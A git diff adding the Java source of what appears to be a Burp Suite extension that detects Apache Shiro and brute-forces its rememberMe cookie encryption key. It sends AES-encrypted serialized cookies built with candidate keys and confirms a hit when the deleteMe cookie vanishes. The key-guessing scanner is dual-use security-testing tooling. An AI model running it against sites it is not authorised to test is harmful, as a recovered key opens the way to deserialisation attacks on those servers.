diff --git a/images/1.png b/images/1.png new file mode 100644 index 0000000..7d31cd3 Binary files /dev/null and b/images/1.png differ diff --git a/images/2.png b/images/2.png new file mode 100644 index 0000000..7c265af Binary files /dev/null and b/images/2.png differ diff --git a/images/3.png b/images/3.png new file mode 100644 index 0000000..23d8f08 Binary files /dev/null and b/images/3.png differ diff --git a/images/4.png b/images/4.png new file mode 100644 index 0000000..a7cda34 Binary files /dev/null and b/images/4.png differ diff --git a/images/5.png b/images/5.png new file mode 100644 index 0000000..97d8974 Binary files /dev/null and b/images/5.png differ diff --git a/images/6.png b/images/6.png new file mode 100644 index 0000000..6bfb28c Binary files /dev/null and b/images/6.png differ diff --git a/images/7.png b/images/7.png new file mode 100644 index 0000000..6cb4ef4 Binary files /dev/null and b/images/7.png differ diff --git a/images/8.png b/images/8.png new file mode 100644 index 0000000..568b031 Binary files /dev/null and b/images/8.png differ diff --git a/images/9.png b/images/9.png new file mode 100644 index 0000000..73dd5e3 Binary files /dev/null and b/images/9.png differ diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..8b1e1f4 --- /dev/null +++ b/pom.xml @@ -0,0 +1,115 @@ + + + 4.0.0 + + com.github.pmiaowu + BurpShiroPassiveScan + 2.0.0 + + + + + net.portswigger.burp.extender + burp-extender-api + 2.3 + + + + + org.yaml + snakeyaml + 1.29 + + + + + org.apache.httpcomponents + httpclient + 4.5.13 + + + + + org.apache.shiro + shiro-core + 1.2.4 + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.apache.maven.plugins + maven-assembly-plugin + 3.3.0 + + + BurpShiroPassiveScan + false + + + burp.BurpExtender + + + + jar-with-dependencies + + + ${project.build.directory}/BurpShiroPassiveScan + + + + + + + make-assembly + package + + single + + + + + + org.apache.maven.plugins + maven-resources-plugin + 3.2.0 + + + copy-resources + package + + copy-resources + + + ${project.build.directory}/BurpShiroPassiveScan/resources + + + src/main/resources + + **/* + + true + + + UTF-8 + + + + + + + \ No newline at end of file diff --git a/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/AShiroCipherKeyExtension.java b/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/AShiroCipherKeyExtension.java new file mode 100644 index 0000000..b2d79c1 --- /dev/null +++ b/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/AShiroCipherKeyExtension.java @@ -0,0 +1,131 @@ +package burp.Application.ShiroCipherKeyExtension.ExtensionInterface; + +import burp.IHttpRequestResponse; + +public abstract class AShiroCipherKeyExtension implements IShiroCipherKeyExtension { + private String extensionName = ""; + + private String cipherKey = ""; + + private String encryptMethod = ""; + + private Boolean isShiroCipherKeyExists = false; + + private IHttpRequestResponse newHttpRequestResponse; + + /** + * 设置扩展名称 (必须的) + * + * @param value + */ + protected void setExtensionName(String value) { + if (value == null || value.isEmpty()) { + throw new IllegalArgumentException("shiro加密key检测扩展-扩展名称不能为空"); + } + this.extensionName = value; + } + + /** + * 扩展名称检查 + * 作用: 让所有不设置扩展名称的扩展无法正常使用, 防止直接调用本类的其他方法, 保证扩展的正常 + */ + private void extensionNameCheck() { + if (this.extensionName == null || this.extensionName.isEmpty()) { + throw new IllegalArgumentException("请为该shiro加密key检测扩展-设置扩展名称"); + } + } + + /** + * 获取扩展名称 + * + * @return String + */ + @Override + public String getExtensionName() { + this.extensionNameCheck(); + return this.extensionName; + } + + /** + * 设置为扫描出了shiro加密的密钥key + */ + protected void setShiroCipherKeyExists() { + this.extensionNameCheck(); + this.isShiroCipherKeyExists = true; + } + + /** + * 是否存在 shiro加密的密钥key + * true 表示 成功扫描出key + * false 表示 未能成功扫描出key + * + * @return Boolean + */ + @Override + public Boolean isShiroCipherKeyExists() { + this.extensionNameCheck(); + return this.isShiroCipherKeyExists; + } + + /** + * 设置程序使用的加密方法 + */ + protected void setEncryptMethod(String value) { + this.extensionNameCheck(); + this.encryptMethod = value; + } + + /** + * 获取加密的方法 + * 例如返回: cbc, gcm 加密算法 + * + * @return String + */ + @Override + public String getEncryptMethod() { + this.extensionNameCheck(); + return this.encryptMethod; + } + + /** + * 设置加密的密钥key + * + * @param value + */ + public void setCipherKey(String value) { + this.extensionNameCheck(); + this.cipherKey = value; + } + + /** + * 获取加密的密钥key + * + * @return String + */ + @Override + public String getCipherKey() { + this.extensionNameCheck(); + return this.cipherKey; + } + + /** + * 设置http请求与响应对象 + * + * @param httpRequestResponse + */ + protected void setHttpRequestResponse(IHttpRequestResponse httpRequestResponse) { + this.extensionNameCheck(); + this.newHttpRequestResponse = httpRequestResponse; + } + + /** + * 获取http请求与响应对象 + * + * @return IHttpRequestResponse + */ + @Override + public IHttpRequestResponse getHttpRequestResponse() { + this.extensionNameCheck(); + return this.newHttpRequestResponse; + } +} diff --git a/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/IShiroCipherKeyExtension.java b/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/IShiroCipherKeyExtension.java new file mode 100644 index 0000000..0dfdbbe --- /dev/null +++ b/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionInterface/IShiroCipherKeyExtension.java @@ -0,0 +1,24 @@ +package burp.Application.ShiroCipherKeyExtension.ExtensionInterface; + +import burp.IScanIssue; +import burp.IHttpRequestResponse; + +/** + * shiro加密key扩展的公共接口 + * 所有的抽象类都要继承它并实现所有的接口 + */ +public interface IShiroCipherKeyExtension { + String getExtensionName(); + + Boolean isShiroCipherKeyExists(); + + String getEncryptMethod(); + + String getCipherKey(); + + IHttpRequestResponse getHttpRequestResponse(); + + IScanIssue export(); + + void consoleExport(); +} diff --git a/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionMethod/ShiroCipherKeyScan.java b/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionMethod/ShiroCipherKeyScan.java new file mode 100644 index 0000000..2ef7b51 --- /dev/null +++ b/src/main/java/burp/Application/ShiroCipherKeyExtension/ExtensionMethod/ShiroCipherKeyScan.java @@ -0,0 +1,335 @@ +package burp.Application.ShiroCipherKeyExtension.ExtensionMethod; + +import java.net.URL; +import java.util.Date; +import java.util.List; +import java.io.IOException; +import java.io.PrintWriter; + +import org.apache.shiro.subject.SimplePrincipalCollection; + +import burp.*; + +import burp.Bootstrap.*; +import burp.Bootstrap.Encrypt.EncryptInterface; + +import burp.Application.ShiroCipherKeyExtension.ExtensionInterface.AShiroCipherKeyExtension; +import burp.Application.ShiroFingerprintExtension.ShiroFingerprint; + +import burp.CustomErrorException.DiffPageException; +import burp.CustomErrorException.TaskTimeoutException; + +public class ShiroCipherKeyScan extends AShiroCipherKeyExtension { + private GlobalVariableReader globalVariableReader; + private GlobalPassiveScanVariableReader globalPassiveScanVariableReader; + + private IBurpExtenderCallbacks callbacks; + private IExtensionHelpers helpers; + private PrintWriter stdout; + + private YamlReader yamlReader; + + private IHttpRequestResponse baseRequestResponse; + + private ShiroFingerprint shiroFingerprint; + + private List payloads; + + private EncryptInterface encryptClass; + + private Date startDate; + + private Integer maxExecutionTime; + + private CustomBurpHelpers customBurpHelpers; + + private double similarityRatio; + + // 相似度匹配算法,匹配失败的次数 + private int errorNumber = 0; + private int endErrorNumber = 10; + + private IHttpRequestResponse shiroFingerprintHttpRequestResponse; + + private String rememberMeCookieName; + + private String responseRememberMeCookieValue; + + private String newRequestRememberMeCookieValue; + + public ShiroCipherKeyScan(GlobalVariableReader globalVariableReader, + GlobalPassiveScanVariableReader globalPassiveScanVariableReader, + IBurpExtenderCallbacks callbacks, + YamlReader yamlReader, + IHttpRequestResponse baseRequestResponse, + ShiroFingerprint shiroFingerprint, + List payloads, + EncryptInterface encryptClass, + Date startDate, + Integer maxExecutionTime) throws IOException { + this.globalVariableReader = globalVariableReader; + this.globalPassiveScanVariableReader = globalPassiveScanVariableReader; + + this.callbacks = callbacks; + this.helpers = callbacks.getHelpers(); + this.stdout = new PrintWriter(callbacks.getStdout(), true); + + this.yamlReader = yamlReader; + this.baseRequestResponse = baseRequestResponse; + this.shiroFingerprint = shiroFingerprint; + this.payloads = payloads; + this.encryptClass = encryptClass; + this.startDate = startDate; + this.maxExecutionTime = maxExecutionTime; + + this.customBurpHelpers = new CustomBurpHelpers(this.callbacks); + + this.similarityRatio = yamlReader.getDouble("application.shiroCipherKeyExtension.config.similarityRatio"); + + this.shiroFingerprintHttpRequestResponse = this.shiroFingerprint.run().getHttpRequestResponse(); + + this.rememberMeCookieName = this.shiroFingerprint.run().getResponseDefaultRememberMeCookieName(); + this.responseRememberMeCookieValue = this.shiroFingerprint.run().getResponseDefaultRememberMeCookieValue(); + this.newRequestRememberMeCookieValue = ""; + + this.setExtensionName("ShiroCipherKeyScan"); + + this.runExtension(); + } + + private void runExtension() throws IOException { + if (this.payloads.size() <= 0) { + throw new IllegalArgumentException("shiro加密key检测扩展-要进行爆破的payloads不能为空, 请检查"); + } + + byte[] exp = this.encryptClass.getBytes(new SimplePrincipalCollection()); + + // 加密key检测 + for (String key : this.payloads) { + // 这个参数为true说明插件已经被卸载,退出所有任务,避免继续扫描 + if (this.globalVariableReader.getBooleanData("isExtensionUnload")) { + return; + } + + // 说明别的线程已经扫描到shiro key了,可以退出这个线程了 + if (this.globalPassiveScanVariableReader.getBooleanData("isEndShiroCipherKeyTask")) { + return; + } + + // 说明检测到shiro key了 + if (this.isShiroCipherKeyExists()) { + return; + } + + // 如果 相似度匹配算法,匹配失败的次数,超过10次,那么就可以退出了 + // 因为这种情况下,大概率触发waf规则了, 那么就没必要跑剩下的了 + if (this.errorNumber >= this.endErrorNumber) { + // 抛异常结束任务 + throw new DiffPageException("shiro key scan too many errors"); + } + + // 判断程序是否运行超时 + int startTime = CustomHelpers.getSecondTimestamp(this.startDate); + int currentTime = CustomHelpers.getSecondTimestamp(new Date()); + int runTime = currentTime - startTime; + if (runTime >= this.maxExecutionTime) { + throw new TaskTimeoutException("shiro key scan task timeout"); + } + + this.cipherKeyDetection(key, exp); + } + } + + /** + * 加密key检测 + * + * @param key 要爆破的key + * @param exp 加密的算法类byte + */ + private void cipherKeyDetection(String key, byte[] exp) { + int shiroFingerprintCookieRememberMeNumber = this.getHttpCookieRememberMeNumber(this.shiroFingerprintHttpRequestResponse); + String shiroFingerprintHttpBody = this.customBurpHelpers.getHttpResponseBody(this.shiroFingerprintHttpRequestResponse.getResponse()); + + // 使用当前可能正确的key-发送可能被此shiro框架成功解密的请求 + String correctRememberMe = this.encryptClass.encrypt(key, exp); + IHttpRequestResponse newHttpRequestResponse1 = this.getNewHttpRequestResponse(correctRememberMe, 3); + + // 判断shiro指纹的请求与当前可能正确key的请求相似度是否差不多一致 + String newHttpBody1 = this.customBurpHelpers.getHttpResponseBody(newHttpRequestResponse1.getResponse()); + double htmlSimilarityRatio1 = DiffPage.getRatio(shiroFingerprintHttpBody, newHttpBody1); + if (this.similarityRatio > htmlSimilarityRatio1) { + this.errorNumber++; + return; + } + + // 判断当前可能正确的请求-是否被此shiro框架解密 + int newHttpCookieRememberMeNumber1 = this.getHttpCookieRememberMeNumber(newHttpRequestResponse1); + if (newHttpCookieRememberMeNumber1 >= shiroFingerprintCookieRememberMeNumber) { + return; + } + + // 二次验证-这样可以减少因为waf造成的大量误报 + // 使用一个必定错误的key-发送一个肯定不会被此shiro框架成功解密的请求 + // 密钥 errorKey 然后 aes 加密 == U2FsdGVkX19xgIigFNCsuy2aXwtskOnJV8rQkrT9D5Y= + String errorKey = "U2FsdGVkX19xgIigFNCsuy2aXwtskOnJV8rQkrT9D5Y="; + String errorRememberMe = this.encryptClass.encrypt(errorKey, exp); + IHttpRequestResponse newHttpRequestResponse2 = this.getNewHttpRequestResponse(errorRememberMe, 3); + + // 判断shiro指纹的请求与当前必定错误的请求相似度是否差不多一致 + String newHttpBody2 = this.customBurpHelpers.getHttpResponseBody(newHttpRequestResponse2.getResponse()); + double htmlSimilarityRatio2 = DiffPage.getRatio(shiroFingerprintHttpBody, newHttpBody2); + if (this.similarityRatio > htmlSimilarityRatio2) { + this.errorNumber++; + return; + } + + // 判断当前必定错误的请求-是否被此shiro框架解密 + int newHttpCookieRememberMeNumber2 = this.getHttpCookieRememberMeNumber(newHttpRequestResponse2); + if (newHttpCookieRememberMeNumber2 < shiroFingerprintCookieRememberMeNumber) { + return; + } + + // 设置问题详情 + this.setIssuesDetail(newHttpRequestResponse1, key, this.encryptClass.getName(), correctRememberMe); + } + + /** + * 获取http cookie 记住我出现的次数 + * + * @param httpRequestResponse + * @return + */ + private int getHttpCookieRememberMeNumber(IHttpRequestResponse httpRequestResponse) { + int number = 0; + for (ICookie c : this.helpers.analyzeResponse(httpRequestResponse.getResponse()).getCookies()) { + if (c.getName().equals(this.rememberMeCookieName)) { + if (c.getValue().equals(this.responseRememberMeCookieValue) || c.getValue().equals("deleteMe")) { + number++; + } + } + } + return number; + } + + /** + * 获取新的http请求响应 + * + * @param rememberMe + * @param remainingRunNumber 剩余运行次数 + * @return IHttpRequestResponse + */ + private IHttpRequestResponse getNewHttpRequestResponse(String rememberMe, int remainingRunNumber) { + IHttpService httpService = this.baseRequestResponse.getHttpService(); + IParameter newParameter = this.helpers.buildParameter( + this.rememberMeCookieName, + rememberMe, + (byte) 2); + byte[] newRequest = this.helpers.updateParameter(this.baseRequestResponse.getRequest(), newParameter); + IHttpRequestResponse newHttpRequestResponse = this.callbacks.makeHttpRequest(httpService, newRequest); + + if (remainingRunNumber <= 1) { + return newHttpRequestResponse; + } + remainingRunNumber--; + + String shiroFingerprintHttpBody = this.customBurpHelpers.getHttpResponseBody(this.shiroFingerprintHttpRequestResponse.getResponse()); + String newHttpBody = this.customBurpHelpers.getHttpResponseBody(newHttpRequestResponse.getResponse()); + + double htmlSimilarityRatio = DiffPage.getRatio(shiroFingerprintHttpBody, newHttpBody); + if (this.similarityRatio > htmlSimilarityRatio) { + return this.getNewHttpRequestResponse(rememberMe, remainingRunNumber); + } + + return newHttpRequestResponse; + } + + /** + * 设置问题详情 + */ + private void setIssuesDetail( + IHttpRequestResponse httpRequestResponse, + String key, + String encryptMethod, + String correctRememberMe) { + this.setShiroCipherKeyExists(); + this.setCipherKey(key); + this.setEncryptMethod(encryptMethod); + this.setHttpRequestResponse(httpRequestResponse); + this.setNewRequestRememberMeCookieValue(correctRememberMe); + } + + private void setNewRequestRememberMeCookieValue(String value) { + this.newRequestRememberMeCookieValue = value; + } + + private String getNewRequestRememberMeCookieValue() { + return this.newRequestRememberMeCookieValue; + } + + @Override + public IScanIssue export() { + if (!this.isShiroCipherKeyExists()) { + return null; + } + + IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); + URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); + + String str1 = String.format("
=============ShiroCipherKeyDetail============
"); + String str2 = String.format("ExtensionMethod: %s
", this.getExtensionName()); + String str3 = String.format("EncryptMethod: %s
", this.encryptClass.getName()); + String str4 = String.format("CookieName: %s
", this.rememberMeCookieName); + String str5 = String.format("CookieValue: %s
", this.getNewRequestRememberMeCookieValue()); + String str6 = String.format("ShiroCipherKey: %s
", this.getCipherKey()); + String str7 = String.format("=====================================
"); + + String detail = str1 + str2 + str3 + str4 + str5 + str6 + str7; + + String shiroCipherKeyIssueName = this.yamlReader.getString("application.shiroCipherKeyExtension.config.issueName"); + + return new CustomScanIssue( + newHttpRequestUrl, + shiroCipherKeyIssueName, + 0, + "High", + "Certain", + null, + null, + detail, + null, + new IHttpRequestResponse[]{newHttpRequestResponse}, + newHttpRequestResponse.getHttpService() + ); + } + + @Override + public void consoleExport() { + if (!this.isShiroCipherKeyExists()) { + return; + } + + IHttpRequestResponse newHttpRequestResponse = this.getHttpRequestResponse(); + URL newHttpRequestUrl = this.helpers.analyzeRequest(newHttpRequestResponse).getUrl(); + String newHttpRequestMethod = this.helpers.analyzeRequest(newHttpRequestResponse.getRequest()).getMethod(); + int newHttpResponseStatusCode = this.helpers.analyzeResponse(newHttpRequestResponse.getResponse()).getStatusCode(); + + this.stdout.println(""); + this.stdout.println("===========shiro加密key详情============"); + this.stdout.println("你好呀~ (≧ω≦*)喵~"); + this.stdout.println("这边检测到有一个站点使用了 shiro框架 喵~"); + this.stdout.println(String.format( + "注意: 该检测方法, 正确的时候响应包的 %s 会消失, 这表示当前key是正确的", + this.rememberMeCookieName)); + this.stdout.println(String.format("负责检测的插件: %s", this.getExtensionName())); + this.stdout.println(String.format("使用的加密方法: %s", this.encryptClass.getName())); + this.stdout.println(String.format("url: %s", newHttpRequestUrl)); + this.stdout.println(String.format("请求方法: %s", newHttpRequestMethod)); + this.stdout.println(String.format("页面http状态: %d", newHttpResponseStatusCode)); + this.stdout.println(String.format("对应的Cookie键: %s", this.rememberMeCookieName)); + this.stdout.println(String.format("对应的Cookie值: %s", this.getNewRequestRememberMeCookieValue())); + this.stdout.println(String.format("Shiro加密key: %s", this.getCipherKey())); + this.stdout.println("详情请查看-Burp Scanner模块-Issue activity界面"); + this.stdout.println("==================================="); + this.stdout.println(""); + } +} diff --git a/src/main/java/burp/Application/ShiroCipherKeyExtension/ShiroCipherKey.java b/src/main/java/burp/Application/ShiroCipherKeyExtension/ShiroCipherKey.java new file mode 100644 index 0000000..c6f56c8 --- /dev/null +++ b/src/main/java/burp/Application/ShiroCipherKeyExtension/ShiroCipherKey.java @@ -0,0 +1,161 @@ +package burp.Application.ShiroCipherKeyExtension; + +import java.util.Date; +import java.util.List; +import java.io.PrintWriter; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; + +import burp.Bootstrap.GlobalPassiveScanVariableReader; +import burp.IHttpRequestResponse; +import burp.IBurpExtenderCallbacks; + +import burp.Bootstrap.YamlReader; +import burp.Bootstrap.GlobalVariableReader; +import burp.Bootstrap.Encrypt.CbcEncrypt; +import burp.Bootstrap.Encrypt.GcmEncrypt; +import burp.Bootstrap.Encrypt.EncryptInterface; + +import burp.Application.ShiroFingerprintExtension.ShiroFingerprint; + +import burp.Application.ShiroCipherKeyExtension.ExtensionInterface.IShiroCipherKeyExtension; + +public class ShiroCipherKey implements Runnable { + private GlobalVariableReader globalVariableReader; + private GlobalPassiveScanVariableReader globalPassiveScanVariableReader; + + private IBurpExtenderCallbacks callbacks; + + private YamlReader yamlReader; + + private IHttpRequestResponse baseRequestResponse; + + private ShiroFingerprint shiroFingerprint; + + private String callClassName; + + private List payloadList; + + /** + * 该模块启动日期 + */ + private final Date startDate = new Date(); + + /** + * 程序最大执行时间,单位为秒 + * 注意: 会根据payload的添加而添加 + */ + private final int maxExecutionTime = 60; + + public ShiroCipherKey(GlobalVariableReader globalVariableReader, + GlobalPassiveScanVariableReader globalPassiveScanVariableReader, + IBurpExtenderCallbacks callbacks, + YamlReader yamlReader, + IHttpRequestResponse baseRequestResponse, + ShiroFingerprint shiroFingerprint, + String callClassName, + List payloadList) { + this.globalVariableReader = globalVariableReader; + this.globalPassiveScanVariableReader = globalPassiveScanVariableReader; + + this.callbacks = callbacks; + + this.yamlReader = yamlReader; + + this.baseRequestResponse = baseRequestResponse; + + this.shiroFingerprint = shiroFingerprint; + + this.callClassName = callClassName; + + this.payloadList = payloadList; + } + + @Override + public void run() { + if (callClassName == null || callClassName.length() <= 0) { + throw new IllegalArgumentException("Application.ShiroCipherKeyExtension-请输入要调用的插件名称"); + } + + if (this.payloadList.size() == 0) { + throw new IllegalArgumentException("Application.ShiroCipherKeyExtension-获取的payloads为空,无法正常运行"); + } + + try { + Class c = Class.forName("burp.Application.ShiroCipherKeyExtension.ExtensionMethod." + callClassName); + Constructor cConstructor = c.getConstructor( + GlobalVariableReader.class, + GlobalPassiveScanVariableReader.class, + IBurpExtenderCallbacks.class, + YamlReader.class, + IHttpRequestResponse.class, + ShiroFingerprint.class, + List.class, + EncryptInterface.class, + Date.class, + Integer.class); + + Boolean isScanCbcEncrypt = this.yamlReader.getBoolean("application.shiroCipherKeyExtension.config.isScanCbcEncrypt"); + if (isScanCbcEncrypt) { + if (this.globalPassiveScanVariableReader.getBooleanData("isEndShiroCipherKeyTask")) { + return; + } + + IShiroCipherKeyExtension shiroCipherKey1 = (IShiroCipherKeyExtension) cConstructor.newInstance( + this.globalVariableReader, + this.globalPassiveScanVariableReader, + this.callbacks, + this.yamlReader, + this.baseRequestResponse, + this.shiroFingerprint, + this.payloadList, + new CbcEncrypt(), + this.startDate, + this.getMaxExecutionTime()); + + if (shiroCipherKey1.isShiroCipherKeyExists()) { + this.globalPassiveScanVariableReader.putBooleanData("isEndShiroCipherKeyTask", true); + this.globalPassiveScanVariableReader.putShiroCipherKeyExtensionData("shiroCipherKey", shiroCipherKey1); + } + } + + Boolean isScanGcmEncrypt = this.yamlReader.getBoolean("application.shiroCipherKeyExtension.config.isScanGcmEncrypt"); + if (isScanGcmEncrypt) { + if (this.globalPassiveScanVariableReader.getBooleanData("isEndShiroCipherKeyTask")) { + return; + } + + IShiroCipherKeyExtension shiroCipherKey2 = (IShiroCipherKeyExtension) cConstructor.newInstance( + this.globalVariableReader, + this.globalPassiveScanVariableReader, + this.callbacks, + this.yamlReader, + this.baseRequestResponse, + this.shiroFingerprint, + this.payloadList, + new GcmEncrypt(), + this.startDate, + this.getMaxExecutionTime()); + + if (shiroCipherKey2.isShiroCipherKeyExists()) { + this.globalPassiveScanVariableReader.putBooleanData("isEndShiroCipherKeyTask", true); + this.globalPassiveScanVariableReader.putShiroCipherKeyExtensionData("shiroCipherKey", shiroCipherKey2); + } + } + } catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) { + e.printStackTrace(new PrintWriter(this.callbacks.getStderr(), true)); + } + } + + /** + * 程序最大执行时间,单位为秒 + * 会根据payload的添加而添加 + * + * @return + */ + private Integer getMaxExecutionTime() { + Integer maxExecutionTime = this.maxExecutionTime; + maxExecutionTime += this.payloadList.size() * 6; + return maxExecutionTime; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Application/ShiroCipherKeyExtension/ShiroCipherKeyThread.java b/src/main/java/burp/Application/ShiroCipherKeyExtension/ShiroCipherKeyThread.java new file mode 100644 index 0000000..faad2ef --- /dev/null +++ b/src/main/java/burp/Application/ShiroCipherKeyExtension/ShiroCipherKeyThread.java @@ -0,0 +1,84 @@ +package burp.Application.ShiroCipherKeyExtension; + +import java.util.List; +import java.util.ArrayList; + +import burp.IHttpRequestResponse; +import burp.IBurpExtenderCallbacks; + +import burp.Bootstrap.YamlReader; +import burp.Bootstrap.CustomHelpers; +import burp.Bootstrap.GlobalVariableReader; +import burp.Bootstrap.GlobalPassiveScanVariableReader; + +import burp.Application.ShiroFingerprintExtension.ShiroFingerprint; + +public class ShiroCipherKeyThread { + private List threadPool = new ArrayList<>(); + + public ShiroCipherKeyThread(GlobalVariableReader globalVariableReader, + GlobalPassiveScanVariableReader globalPassiveScanVariableReader, + IBurpExtenderCallbacks callbacks, + YamlReader yamlReader, + IHttpRequestResponse baseRequestResponse, + ShiroFingerprint shiroFingerprint, + String callClassName) { + // 是否结束shiro加密key扩展任务 + // 用于多线程,跑到key,把程序快速退出去,避免资源浪费与卡顿 + // true = 结束, false = 不结束 + globalPassiveScanVariableReader.putBooleanData("isEndShiroCipherKeyTask", false); + + if (callClassName == null || callClassName.length() <= 0) { + throw new IllegalArgumentException("Application.ShiroCipherKeyExtension-请输入要调用的插件名称"); + } + + List payloads = yamlReader.getStringList("application.shiroCipherKeyExtension.config.payloads"); + if (payloads.size() == 0) { + throw new IllegalArgumentException("Application.ShiroCipherKeyExtension-获取的payloads为空,无法正常运行"); + } + + // payload按照配置线程数分块 + Integer shiroCipherKeyThreadTotal = yamlReader.getInteger("application.shiroCipherKeyExtension.config.threadTotal"); + List> payloadChunk = CustomHelpers.listChunkSplit(payloads, shiroCipherKeyThreadTotal); + + // 建立线程池 + for (List payloadList : payloadChunk) { + this.threadPool.add(new Thread( + new ShiroCipherKey( + globalVariableReader, globalPassiveScanVariableReader, callbacks, + yamlReader, baseRequestResponse, shiroFingerprint, + callClassName, payloadList) + )); + } + + // 线程启动 + for (int i = 0; i < this.threadPool.size(); i++) { + this.threadPool.get(i).start(); + } + } + + /** + * 判断线程任务是否执行完毕 + * + * @return + */ + public Boolean isTaskComplete() { + // 开启的线程总数 + Integer threadCcount = this.threadPool.size(); + + // 线程完成数量 + Integer threadNum = 0; + + for (Thread t : this.threadPool) { + if (!t.isAlive()) { + threadNum++; + } + } + + if (threadNum.equals(threadCcount)) { + return true; + } + + return false; + } +} diff --git a/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionInterface/AShiroFingerprintExtension.java b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionInterface/AShiroFingerprintExtension.java new file mode 100644 index 0000000..f81b2dc --- /dev/null +++ b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionInterface/AShiroFingerprintExtension.java @@ -0,0 +1,211 @@ +package burp.Application.ShiroFingerprintExtension.ExtensionInterface; + +import burp.IHttpRequestResponse; + +/** + * shiro指纹扩展的抽象类 + * 所有的shiro指纹检测的方法都要继承它并实现所有的接口 + */ +public abstract class AShiroFingerprintExtension implements IShiroFingerprintExtension { + private String extensionName = ""; + + private Boolean isRunExtension = false; + + private Boolean isShiroFingerprint = false; + + private String requestRememberMeCookieName = ""; + private String requestRememberMeCookieValue = ""; + + private String responseRememberMeCookieName = ""; + private String responseRememberMeCookieValue = ""; + + private IHttpRequestResponse newHttpRequestResponse; + + /** + * 设置扩展名称 (必须的) + * + * @param value + */ + protected void setExtensionName(String value) { + if (value == null || value.isEmpty()) { + throw new IllegalArgumentException("shiro指纹扫描扩展-扩展名称不能为空"); + } + this.extensionName = value; + } + + /** + * 扩展名称检查 + * 作用: 让所有不设置扩展名称的扩展无法正常使用, 防止直接调用本类的其他方法, 保证扩展的正常 + */ + private void extensionNameCheck() { + if (this.extensionName == null || this.extensionName.isEmpty()) { + throw new IllegalArgumentException("请为该shiro指纹扫描扩展-设置扩展名称"); + } + } + + /** + * 获取扩展名称 + * + * @return String + */ + @Override + public String getExtensionName() { + this.extensionNameCheck(); + return this.extensionName; + } + + /** + * 注册插件 (必须的) + * 扩展在运行之前必须调用该接口注册, 否则将无法调用本类的其他方法 + */ + protected void registerExtension() { + this.extensionNameCheck(); + this.isRunExtension = true; + } + + /** + * 注册扩展检查 + * 作用: 让所有未调用方法 registerExtension() 的接口, 无法使用本类的其他方法, 保证扩展的正常 + */ + private void registerExtensionCheck() { + if (!this.isRunExtension) { + throw new IllegalArgumentException("注意: 该指纹模块未注册,无法使用"); + } + } + + /** + * 是否运行扩展 + * true 运行 + * false 不运行 + * + * @return Boolean + */ + @Override + public Boolean isRunExtension() { + return this.isRunExtension; + } + + /** + * 设置为shiro指纹 + */ + protected void setShiroFingerprint() { + this.registerExtensionCheck(); + this.isShiroFingerprint = true; + } + + /** + * 是否shiro框架 + * + * @return Boolean + */ + @Override + public Boolean isShiroFingerprint() { + this.registerExtensionCheck(); + return this.isShiroFingerprint; + } + + /** + * 设置请求默认“记住我”的Cookie名 + * + * @param value + */ + protected void setRequestDefaultRememberMeCookieName(String value) { + this.registerExtensionCheck(); + this.requestRememberMeCookieName = value; + } + + /** + * 获取请求默认“记住我”的Cookie名 + * + * @return String + */ + @Override + public String getRequestDefaultRememberMeCookieName() { + this.registerExtensionCheck(); + return this.requestRememberMeCookieName; + } + + /** + * 设置请求默认“记住我”的Cookie值 + * + * @param value + */ + protected void setRequestDefaultRememberMeCookieValue(String value) { + this.registerExtensionCheck(); + this.requestRememberMeCookieValue = value; + } + + /** + * 获取请求默认“记住我”的Cookie值 + * + * @return String + */ + @Override + public String getRequestDefaultRememberMeCookieValue() { + this.registerExtensionCheck(); + return this.requestRememberMeCookieValue; + } + + /** + * 设置响应默认“记住我”的Cookie名称 + * + * @param value + */ + protected void setResponseDefaultRememberMeCookieName(String value) { + this.registerExtensionCheck(); + this.responseRememberMeCookieName = value; + } + + /** + * 获取响应默认“记住我”的Cookie名称 + * + * @return String + */ + @Override + public String getResponseDefaultRememberMeCookieName() { + this.registerExtensionCheck(); + return this.responseRememberMeCookieName; + } + + /** + * 设置响应默认的“记住我”Cookie值 + * + * @param value + */ + protected void setResponseDefaultRememberMeCookieValue(String value) { + this.registerExtensionCheck(); + this.responseRememberMeCookieValue = value; + } + + /** + * 获取设置响应默认的“记住我”Cookie值 + * + * @return + */ + @Override + public String getResponseDefaultRememberMeCookieValue() { + this.registerExtensionCheck(); + return this.responseRememberMeCookieValue; + } + + /** + * 设置http请求与响应对象 + * + * @param httpRequestResponse + */ + protected void setHttpRequestResponse(IHttpRequestResponse httpRequestResponse) { + this.registerExtensionCheck(); + this.newHttpRequestResponse = httpRequestResponse; + } + + /** + * 获取http请求与响应对象 + * + * @return IHttpRequestResponse + */ + @Override + public IHttpRequestResponse getHttpRequestResponse() { + this.registerExtensionCheck(); + return this.newHttpRequestResponse; + } +} \ No newline at end of file diff --git a/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionInterface/IShiroFingerprintExtension.java b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionInterface/IShiroFingerprintExtension.java new file mode 100644 index 0000000..1ec2c92 --- /dev/null +++ b/src/main/java/burp/Application/ShiroFingerprintExtension/ExtensionInterface/IShiroFingerprintExtension.java @@ -0,0 +1,30 @@ +package burp.Application.ShiroFingerprintExtension.ExtensionInterface; + +import burp.IScanIssue; +import burp.IHttpRequestResponse; + +/** + * shiro指纹扩展的公共接口 + * 所有的抽象类都要继承它并实现所有的接口 + */ +public interface IShiroFingerprintExtension { + String getExtensionName(); + + Boolean isRunExtension(); + + Boolean isShiroFingerprint(); + + String 